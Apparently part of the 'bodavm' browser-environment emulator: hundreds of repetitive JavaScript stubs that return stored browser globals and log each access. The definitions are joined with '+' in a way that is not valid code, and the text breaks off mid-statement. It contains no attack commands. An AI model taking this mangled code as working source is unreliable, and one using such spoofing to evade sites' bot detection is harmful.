bodavm.envFunc.window_TrustedScript = function () { let arg = bodavm.memory.globalobj['TrustedScript']; console.log_copy(`window_TrustedScript`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TrustedHTML = function () { let arg = bodavm.memory.globalobj['TrustedHTML']; console.log_copy(`window_TrustedHTML`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SpeechSynthesisUtterance = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisUtterance']; console.log_copy(`window_SpeechSynthesisUtterance`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SpeechSynthesisEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisEvent']; console.log_copy(`window_SpeechSynthesisEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SpeechSynthesisErrorEvent = function () { let arg = bodavm.memory.globalobj['SpeechSynthesisErrorEvent']; console.log_copy(`window_SpeechSynthesisErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SharedWorker = function () { let arg = bodavm.memory.globalobj['SharedWorker']; console.log_copy(`window_SharedWorker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskSignal = function () { let arg = bodavm.memory.globalobj['TaskSignal']; console.log_copy(`window_TaskSignal`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskPriorityChangeEvent = function () { let arg = bodavm.memory.globalobj['TaskPriorityChangeEvent']; console.log_copy(`window_TaskPriorityChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_TaskController = function () { let arg = bodavm.memory.globalobj['TaskController']; console.log_copy(`window_TaskController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Scheduler = function () { let arg = bodavm.memory.globalobj['Scheduler']; console.log_copy(`window_Scheduler`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RemotePlayback = function () { let arg = bodavm.memory.globalobj['RemotePlayback']; console.log_copy(`window_RemotePlayback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PushSubscriptionOptions = function () { let arg = bodavm.memory.globalobj['PushSubscriptionOptions']; console.log_copy(`window_PushSubscriptionOptions`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PushSubscription = function () { let arg = bodavm.memory.globalobj['PushSubscription']; console.log_copy(`window_PushSubscription`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PushManager = function () { let arg = bodavm.memory.globalobj['PushManager']; console.log_copy(`window_PushManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PictureInPictureWindow = function () { let arg = bodavm.memory.globalobj['PictureInPictureWindow']; console.log_copy(`window_PictureInPictureWindow`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PictureInPictureEvent = function () { let arg = bodavm.memory.globalobj['PictureInPictureEvent']; console.log_copy(`window_PictureInPictureEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Permissions = function () { let arg = bodavm.memory.globalobj['Permissions']; console.log_copy(`window_Permissions`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PermissionStatus = function () { let arg = bodavm.memory.globalobj['PermissionStatus']; console.log_copy(`window_PermissionStatus`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PeriodicSyncManager = function () { let arg = bodavm.memory.globalobj['PeriodicSyncManager']; console.log_copy(`window_PeriodicSyncManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentRequestUpdateEvent = function () { let arg = bodavm.memory.globalobj['PaymentRequestUpdateEvent']; console.log_copy(`window_PaymentRequestUpdateEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentManager = function () { let arg = bodavm.memory.globalobj['PaymentManager']; console.log_copy(`window_PaymentManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentInstruments = function () { let arg = bodavm.memory.globalobj['PaymentInstruments']; console.log_copy(`window_PaymentInstruments`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Notification = function () { let arg = bodavm.memory.globalobj['Notification']; console.log_copy(`window_Notification`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigatorUAData = function () { let arg = bodavm.memory.globalobj['NavigatorUAData']; console.log_copy(`window_NavigatorUAData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationTransition = function () { let arg = bodavm.memory.globalobj['NavigationTransition']; console.log_copy(`window_NavigationTransition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationHistoryEntry = function () { let arg = bodavm.memory.globalobj['NavigationHistoryEntry']; console.log_copy(`window_NavigationHistoryEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationDestination = function () { let arg = bodavm.memory.globalobj['NavigationDestination']; console.log_copy(`window_NavigationDestination`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationCurrentEntryChangeEvent = function () { let arg = bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent']; console.log_copy(`window_NavigationCurrentEntryChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigateEvent = function () { let arg = bodavm.memory.globalobj['NavigateEvent']; console.log_copy(`window_NavigateEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrack = function () { let arg = bodavm.memory.globalobj['MediaStreamTrack']; console.log_copy(`window_MediaStreamTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SourceBufferList = function () { let arg = bodavm.memory.globalobj['SourceBufferList']; console.log_copy(`window_SourceBufferList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SourceBuffer = function () { let arg = bodavm.memory.globalobj['SourceBuffer']; console.log_copy(`window_SourceBuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaSource = function () { let arg = bodavm.memory.globalobj['MediaSource']; console.log_copy(`window_MediaSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaSession = function () { let arg = bodavm.memory.globalobj['MediaSession']; console.log_copy(`window_MediaSession`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaMetadata = function () { let arg = bodavm.memory.globalobj['MediaMetadata']; console.log_copy(`window_MediaMetadata`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Ink = function () { let arg = bodavm.memory.globalobj['Ink']; console.log_copy(`window_Ink`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DelegatedInkTrailPresenter = function () { let arg = bodavm.memory.globalobj['DelegatedInkTrailPresenter']; console.log_copy(`window_DelegatedInkTrailPresenter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CustomStateSet = function () { let arg = bodavm.memory.globalobj['CustomStateSet']; console.log_copy(`window_CustomStateSet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CaptureHandleChangeEvent = function () { let arg = bodavm.memory.globalobj['CaptureHandleChangeEvent']; console.log_copy(`window_CaptureHandleChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSFontPaletteValuesRule = function () { let arg = bodavm.memory.globalobj['CSSFontPaletteValuesRule']; console.log_copy(`window_CSSFontPaletteValuesRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothUUID = function () { let arg = bodavm.memory.globalobj['BluetoothUUID']; console.log_copy(`window_BluetoothUUID`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BackgroundFetchRegistration = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRegistration']; console.log_copy(`window_BackgroundFetchRegistration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BackgroundFetchRecord = function () { let arg = bodavm.memory.globalobj['BackgroundFetchRecord']; console.log_copy(`window_BackgroundFetchRecord`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BackgroundFetchManager = function () { let arg = bodavm.memory.globalobj['BackgroundFetchManager']; console.log_copy(`window_BackgroundFetchManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DocumentTimeline = function () { let arg = bodavm.memory.globalobj['DocumentTimeline']; console.log_copy(`window_DocumentTimeline`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTransition = function () { let arg = bodavm.memory.globalobj['CSSTransition']; console.log_copy(`window_CSSTransition`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSAnimation = function () { let arg = bodavm.memory.globalobj['CSSAnimation']; console.log_copy(`window_CSSAnimation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationTimeline = function () { let arg = bodavm.memory.globalobj['AnimationTimeline']; console.log_copy(`window_AnimationTimeline`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationPlaybackEvent = function () { let arg = bodavm.memory.globalobj['AnimationPlaybackEvent']; console.log_copy(`window_AnimationPlaybackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_showSaveFilePicker = function () { let arg = bodavm.memory.globalobj['showSaveFilePicker']; console.log_copy(`window_showSaveFilePicker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_showOpenFilePicker = function () { let arg = bodavm.memory.globalobj['showOpenFilePicker']; console.log_copy(`window_showOpenFilePicker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_showDirectoryPicker = function () { let arg = bodavm.memory.globalobj['showDirectoryPicker']; console.log_copy(`window_showDirectoryPicker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getScreenDetails = function () { let arg = bodavm.memory.globalobj['getScreenDetails']; console.log_copy(`window_getScreenDetails`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRLightProbe = function () { let arg = bodavm.memory.globalobj['XRLightProbe']; console.log_copy(`window_XRLightProbe`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRLightEstimate = function () { let arg = bodavm.memory.globalobj['XRLightEstimate']; console.log_copy(`window_XRLightEstimate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRTransientInputHitTestSource = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestSource']; console.log_copy(`window_XRTransientInputHitTestSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRTransientInputHitTestResult = function () { let arg = bodavm.memory.globalobj['XRTransientInputHitTestResult']; console.log_copy(`window_XRTransientInputHitTestResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRRay = function () { let arg = bodavm.memory.globalobj['XRRay']; console.log_copy(`window_XRRay`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRHitTestSource = function () { let arg = bodavm.memory.globalobj['XRHitTestSource']; console.log_copy(`window_XRHitTestSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRHitTestResult = function () { let arg = bodavm.memory.globalobj['XRHitTestResult']; console.log_copy(`window_XRHitTestResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRWebGLDepthInformation = function () { let arg = bodavm.memory.globalobj['XRWebGLDepthInformation']; console.log_copy(`window_XRWebGLDepthInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRDepthInformation = function () { let arg = bodavm.memory.globalobj['XRDepthInformation']; console.log_copy(`window_XRDepthInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRCPUDepthInformation = function () { let arg = bodavm.memory.globalobj['XRCPUDepthInformation']; console.log_copy(`window_XRCPUDepthInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRWebGLLayer = function () { let arg = bodavm.memory.globalobj['XRWebGLLayer']; console.log_copy(`window_XRWebGLLayer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRViewport = function () { let arg = bodavm.memory.globalobj['XRViewport']; console.log_copy(`window_XRViewport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRViewerPose = function () { let arg = bodavm.memory.globalobj['XRViewerPose']; console.log_copy(`window_XRViewerPose`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRView = function () { let arg = bodavm.memory.globalobj['XRView']; console.log_copy(`window_XRView`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSystem = function () { let arg = bodavm.memory.globalobj['XRSystem']; console.log_copy(`window_XRSystem`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSpace = function () { let arg = bodavm.memory.globalobj['XRSpace']; console.log_copy(`window_XRSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSessionEvent = function () { let arg = bodavm.memory.globalobj['XRSessionEvent']; console.log_copy(`window_XRSessionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRSession = function () { let arg = bodavm.memory.globalobj['XRSession']; console.log_copy(`window_XRSession`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRRigidTransform = function () { let arg = bodavm.memory.globalobj['XRRigidTransform']; console.log_copy(`window_XRRigidTransform`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRRenderState = function () { let arg = bodavm.memory.globalobj['XRRenderState']; console.log_copy(`window_XRRenderState`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRReferenceSpaceEvent = function () { let arg = bodavm.memory.globalobj['XRReferenceSpaceEvent']; console.log_copy(`window_XRReferenceSpaceEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRReferenceSpace']; console.log_copy(`window_XRReferenceSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRPose = function () { let arg = bodavm.memory.globalobj['XRPose']; console.log_copy(`window_XRPose`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSourcesChangeEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourcesChangeEvent']; console.log_copy(`window_XRInputSourcesChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSourceEvent = function () { let arg = bodavm.memory.globalobj['XRInputSourceEvent']; console.log_copy(`window_XRInputSourceEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSourceArray = function () { let arg = bodavm.memory.globalobj['XRInputSourceArray']; console.log_copy(`window_XRInputSourceArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRInputSource = function () { let arg = bodavm.memory.globalobj['XRInputSource']; console.log_copy(`window_XRInputSource`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRFrame = function () { let arg = bodavm.memory.globalobj['XRFrame']; console.log_copy(`window_XRFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRBoundedReferenceSpace = function () { let arg = bodavm.memory.globalobj['XRBoundedReferenceSpace']; console.log_copy(`window_XRBoundedReferenceSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRAnchorSet = function () { let arg = bodavm.memory.globalobj['XRAnchorSet']; console.log_copy(`window_XRAnchorSet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRAnchor = function () { let arg = bodavm.memory.globalobj['XRAnchor']; console.log_copy(`window_XRAnchor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransportError = function () { let arg = bodavm.memory.globalobj['WebTransportError']; console.log_copy(`window_WebTransportError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransportDatagramDuplexStream = function () { let arg = bodavm.memory.globalobj['WebTransportDatagramDuplexStream']; console.log_copy(`window_WebTransportDatagramDuplexStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransportBidirectionalStream = function () { let arg = bodavm.memory.globalobj['WebTransportBidirectionalStream']; console.log_copy(`window_WebTransportBidirectionalStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WebTransport = function () { let arg = bodavm.memory.globalobj['WebTransport']; console.log_copy(`window_WebTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WakeLockSentinel = function () { let arg = bodavm.memory.globalobj['WakeLockSentinel']; console.log_copy(`window_WakeLockSentinel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_WakeLock = function () { let arg = bodavm.memory.globalobj['WakeLock']; console.log_copy(`window_WakeLock`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VirtualKeyboard = function () { let arg = bodavm.memory.globalobj['VirtualKeyboard']; console.log_copy(`window_VirtualKeyboard`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBOutTransferResult']; console.log_copy(`window_USBOutTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousOutTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferResult']; console.log_copy(`window_USBIsochronousOutTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousOutTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousOutTransferPacket']; console.log_copy(`window_USBIsochronousOutTransferPacket`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousInTransferResult = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferResult']; console.log_copy(`window_USBIsochronousInTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBIsochronousInTransferPacket = function () { let arg = bodavm.memory.globalobj['USBIsochronousInTransferPacket']; console.log_copy(`window_USBIsochronousInTransferPacket`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBInterface = function () { let arg = bodavm.memory.globalobj['USBInterface']; console.log_copy(`window_USBInterface`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBInTransferResult = function () { let arg = bodavm.memory.globalobj['USBInTransferResult']; console.log_copy(`window_USBInTransferResult`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBEndpoint = function () { let arg = bodavm.memory.globalobj['USBEndpoint']; console.log_copy(`window_USBEndpoint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBDevice = function () { let arg = bodavm.memory.globalobj['USBDevice']; console.log_copy(`window_USBDevice`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBConnectionEvent = function () { let arg = bodavm.memory.globalobj['USBConnectionEvent']; console.log_copy(`window_USBConnectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBConfiguration = function () { let arg = bodavm.memory.globalobj['USBConfiguration']; console.log_copy(`window_USBConfiguration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USBAlternateInterface = function () { let arg = bodavm.memory.globalobj['USBAlternateInterface']; console.log_copy(`window_USBAlternateInterface`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_USB = function () { let arg = bodavm.memory.globalobj['USB']; console.log_copy(`window_USB`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SerialPort = function () { let arg = bodavm.memory.globalobj['SerialPort']; console.log_copy(`window_SerialPort`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Serial = function () { let arg = bodavm.memory.globalobj['Serial']; console.log_copy(`window_Serial`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScreenDetails = function () { let arg = bodavm.memory.globalobj['ScreenDetails']; console.log_copy(`window_ScreenDetails`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ScreenDetailed = function () { let arg = bodavm.memory.globalobj['ScreenDetailed']; console.log_copy(`window_ScreenDetailed`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Scheduling = function () { let arg = bodavm.memory.globalobj['Scheduling']; console.log_copy(`window_Scheduling`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Profiler = function () { let arg = bodavm.memory.globalobj['Profiler']; console.log_copy(`window_Profiler`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationRequest = function () { let arg = bodavm.memory.globalobj['PresentationRequest']; console.log_copy(`window_PresentationRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationReceiver = function () { let arg = bodavm.memory.globalobj['PresentationReceiver']; console.log_copy(`window_PresentationReceiver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnectionList = function () { let arg = bodavm.memory.globalobj['PresentationConnectionList']; console.log_copy(`window_PresentationConnectionList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnectionCloseEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionCloseEvent']; console.log_copy(`window_PresentationConnectionCloseEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnectionAvailableEvent = function () { let arg = bodavm.memory.globalobj['PresentationConnectionAvailableEvent']; console.log_copy(`window_PresentationConnectionAvailableEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationConnection = function () { let arg = bodavm.memory.globalobj['PresentationConnection']; console.log_copy(`window_PresentationConnection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PresentationAvailability = function () { let arg = bodavm.memory.globalobj['PresentationAvailability']; console.log_copy(`window_PresentationAvailability`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Presentation = function () { let arg = bodavm.memory.globalobj['Presentation']; console.log_copy(`window_Presentation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentMethodChangeEvent = function () { let arg = bodavm.memory.globalobj['PaymentMethodChangeEvent']; console.log_copy(`window_PaymentMethodChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentResponse = function () { let arg = bodavm.memory.globalobj['PaymentResponse']; console.log_copy(`window_PaymentResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentRequest = function () { let arg = bodavm.memory.globalobj['PaymentRequest']; console.log_copy(`window_PaymentRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PaymentAddress = function () { let arg = bodavm.memory.globalobj['PaymentAddress']; console.log_copy(`window_PaymentAddress`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OTPCredential = function () { let arg = bodavm.memory.globalobj['OTPCredential']; console.log_copy(`window_OTPCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrackProcessor = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackProcessor']; console.log_copy(`window_MediaStreamTrackProcessor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrackGenerator = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackGenerator']; console.log_copy(`window_MediaStreamTrackGenerator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_IdleDetector = function () { let arg = bodavm.memory.globalobj['IdleDetector']; console.log_copy(`window_IdleDetector`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HIDInputReportEvent = function () { let arg = bodavm.memory.globalobj['HIDInputReportEvent']; console.log_copy(`window_HIDInputReportEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HIDDevice = function () { let arg = bodavm.memory.globalobj['HIDDevice']; console.log_copy(`window_HIDDevice`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HIDConnectionEvent = function () { let arg = bodavm.memory.globalobj['HIDConnectionEvent']; console.log_copy(`window_HIDConnectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_HID = function () { let arg = bodavm.memory.globalobj['HID']; console.log_copy(`window_HID`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_GravitySensor = function () { let arg = bodavm.memory.globalobj['GravitySensor']; console.log_copy(`window_GravitySensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FragmentDirective = function () { let arg = bodavm.memory.globalobj['FragmentDirective']; console.log_copy(`window_FragmentDirective`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemWritableFileStream = function () { let arg = bodavm.memory.globalobj['FileSystemWritableFileStream']; console.log_copy(`window_FileSystemWritableFileStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemHandle = function () { let arg = bodavm.memory.globalobj['FileSystemHandle']; console.log_copy(`window_FileSystemHandle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemFileHandle = function () { let arg = bodavm.memory.globalobj['FileSystemFileHandle']; console.log_copy(`window_FileSystemFileHandle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FileSystemDirectoryHandle = function () { let arg = bodavm.memory.globalobj['FileSystemDirectoryHandle']; console.log_copy(`window_FileSystemDirectoryHandle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EyeDropper = function () { let arg = bodavm.memory.globalobj['EyeDropper']; console.log_copy(`window_EyeDropper`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTService = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTService']; console.log_copy(`window_BluetoothRemoteGATTService`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTServer = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTServer']; console.log_copy(`window_BluetoothRemoteGATTServer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTDescriptor = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTDescriptor']; console.log_copy(`window_BluetoothRemoteGATTDescriptor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothRemoteGATTCharacteristic = function () { let arg = bodavm.memory.globalobj['BluetoothRemoteGATTCharacteristic']; console.log_copy(`window_BluetoothRemoteGATTCharacteristic`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothDevice = function () { let arg = bodavm.memory.globalobj['BluetoothDevice']; console.log_copy(`window_BluetoothDevice`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BluetoothCharacteristicProperties = function () { let arg = bodavm.memory.globalobj['BluetoothCharacteristicProperties']; console.log_copy(`window_BluetoothCharacteristicProperties`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Bluetooth = function () { let arg = bodavm.memory.globalobj['Bluetooth']; console.log_copy(`window_Bluetooth`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PublicKeyCredential = function () { let arg = bodavm.memory.globalobj['PublicKeyCredential']; console.log_copy(`window_PublicKeyCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AuthenticatorResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorResponse']; console.log_copy(`window_AuthenticatorResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AuthenticatorAttestationResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAttestationResponse']; console.log_copy(`window_AuthenticatorAttestationResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AuthenticatorAssertionResponse = function () { let arg = bodavm.memory.globalobj['AuthenticatorAssertionResponse']; console.log_copy(`window_AuthenticatorAssertionResponse`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoEncoder = function () { let arg = bodavm.memory.globalobj['VideoEncoder']; console.log_copy(`window_VideoEncoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoDecoder = function () { let arg = bodavm.memory.globalobj['VideoDecoder']; console.log_copy(`window_VideoDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageDecoder = function () { let arg = bodavm.memory.globalobj['ImageDecoder']; console.log_copy(`window_ImageDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioEncoder = function () { let arg = bodavm.memory.globalobj['AudioEncoder']; console.log_copy(`window_AudioEncoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioDecoder = function () { let arg = bodavm.memory.globalobj['AudioDecoder']; console.log_copy(`window_AudioDecoder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoFrame = function () { let arg = bodavm.memory.globalobj['VideoFrame']; console.log_copy(`window_VideoFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_VideoColorSpace = function () { let arg = bodavm.memory.globalobj['VideoColorSpace']; console.log_copy(`window_VideoColorSpace`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageTrackList = function () { let arg = bodavm.memory.globalobj['ImageTrackList']; console.log_copy(`window_ImageTrackList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ImageTrack = function () { let arg = bodavm.memory.globalobj['ImageTrack']; console.log_copy(`window_ImageTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EncodedVideoChunk = function () { let arg = bodavm.memory.globalobj['EncodedVideoChunk']; console.log_copy(`window_EncodedVideoChunk`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_EncodedAudioChunk = function () { let arg = bodavm.memory.globalobj['EncodedAudioChunk']; console.log_copy(`window_EncodedAudioChunk`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioData = function () { let arg = bodavm.memory.globalobj['AudioData']; console.log_copy(`window_AudioData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRWebGLBinding = function () { let arg = bodavm.memory.globalobj['XRWebGLBinding']; console.log_copy(`window_XRWebGLBinding`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRLayer = function () { let arg = bodavm.memory.globalobj['XRLayer']; console.log_copy(`window_XRLayer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_XRDOMOverlayState = function () { let arg = bodavm.memory.globalobj['XRDOMOverlayState']; console.log_copy(`window_XRDOMOverlayState`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Worklet = function () { let arg = bodavm.memory.globalobj['Worklet']; console.log_copy(`window_Worklet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SubtleCrypto = function () { let arg = bodavm.memory.globalobj['SubtleCrypto']; console.log_copy(`window_SubtleCrypto`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_StorageManager = function () { let arg = bodavm.memory.globalobj['StorageManager']; console.log_copy(`window_StorageManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ServiceWorkerRegistration = function () { let arg = bodavm.memory.globalobj['ServiceWorkerRegistration']; console.log_copy(`window_ServiceWorkerRegistration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ServiceWorkerContainer = function () { let arg = 